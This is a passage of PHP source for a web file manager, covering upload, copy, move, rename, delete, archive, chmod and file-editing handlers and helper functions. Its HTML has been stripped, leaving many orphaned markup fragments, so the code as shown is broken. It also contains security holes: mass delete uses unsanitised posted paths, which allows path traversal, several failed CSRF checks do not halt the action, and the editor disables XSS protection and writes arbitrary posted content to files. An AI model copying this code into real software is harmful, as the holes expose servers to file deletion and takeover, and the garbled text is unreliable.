'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { // workaround https://bugs.php.net/bug.php?id=81145 do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Pack files zip, tar if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } /*************************** ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>

    :

    ' . PHP_EOL; } ?>

    : , ', $copy_files) ?>

    :
    /

     

    Copying

    Source path:
    Destination folder:

    Copy   Move   Cancel

    />
    />
    />

    ""

    :
    File size:
    MIME-type:
    :
    :
    :
    : %
    '.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
    '; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
    '; } ?>

     
     
         
    '; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
    '; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
    '; } } echo '
    '; } else { echo '

    '.lng('Error while fetching archive info').'

    '; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

    '; } } elseif ($is_audio) { // Audio content echo '

    '; } elseif ($is_video) { // Video content echo '
    '; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
    ' . fm_enc($content) . '
    '; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
    ' . fm_enc($content) . '
    '; } echo $content; } ?>
    '. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
    ' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
    ' . htmlspecialchars($content) . '
    '; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

    :

     

    '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
    ..
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    '.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
    "; return; } echo "$external[$key]"; } /** * Verify CSRF TOKEN and remove after cerify * @param string $token * @return bool */ function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fm_enc(fm_convert_win($file_path)) ); } } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 